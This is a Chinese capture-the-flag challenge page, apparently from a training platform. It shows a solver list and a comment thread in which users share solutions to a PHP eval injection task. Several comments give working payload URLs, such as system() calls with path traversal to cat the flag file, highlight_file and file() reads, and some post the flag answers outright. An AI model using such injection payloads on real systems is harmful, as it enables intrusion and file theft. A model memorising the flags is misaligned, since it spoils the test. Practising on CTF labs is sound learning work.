评分(12)
解题动态
Hogan 攻破了该题 1小时前
sorry123 攻破了该题 3小时前
xiaolili 攻破了该题 4小时前
ljjbit 攻破了该题 8小时前
墨尘 攻破了该题 9小时前
booku 攻破了该题 10小时前
15306829633 攻破了该题 11小时前
CHT 攻破了该题 11小时前
河马 攻破了该题 12小时前
Mr.Cyber 攻破了该题 13小时前
聪仔草莓51 攻破了该题 15小时前
pleonexia123 攻破了该题 15小时前
wsx68696 攻破了该题 1天前
lipingctf 攻破了该题 1天前
H1lla1n 攻破了该题 1天前
liyimanfan 攻破了该题 1天前
Yun1217 攻破了该题 2天前
你倒过来读看看呢 攻破了该题 2天前
jvfnvd.vl 攻破了该题 2天前
评论
453137 3年前
举报
flag{71679b79e61face9debb4371063d114b}
anguilin 3年前
举报
http://114.67.175.224:18361/?hello=system(%27cat%20../../../../../../../../flag%27)简单
acela 3年前
举报
flag{932241d0a39e2c7a1fe31a9a7dd89594};
wenroudeyanhuo 3年前
举报
please input a?
aoikuuun 3年前
举报
/?hello=system("tail%20-n%202%20flag.php")
GH0S7 3年前
举报
我真棒
K463726543 3年前
举报
hello=highlight_file('./flag.php') highlight_file（） 使用highlight()函数能在编译器编译后能显示出文件源代码，并且在浏览器中打开时也能显示源代码。
SecI302 3年前
举报
踩坑了用这个file_get_contents(“/flag”); 读了半天都是只显示长度没有内容
Cat00011cat 3年前
举报
http://114.67.175.224:10794/?hello=file(%27flag.php%27)
musewithwind 3年前
举报
@D4C 构造php函数，看代码，vardump函数用于打印变量信息，file函数获取的是flag.php源文件，此时使用vardump打印即是包括注释的flag.php源代码，flag就出来了
D4C 3年前
举报
大佬能不能给小白讲讲原理啊
小王爱吃螺蛳粉 3年前
举报
有eval可能有命令提交漏洞，知道本题引用了“flag.php”，便可以通过file函数将eval("var_dump($a);")就是把$a的内容打印出来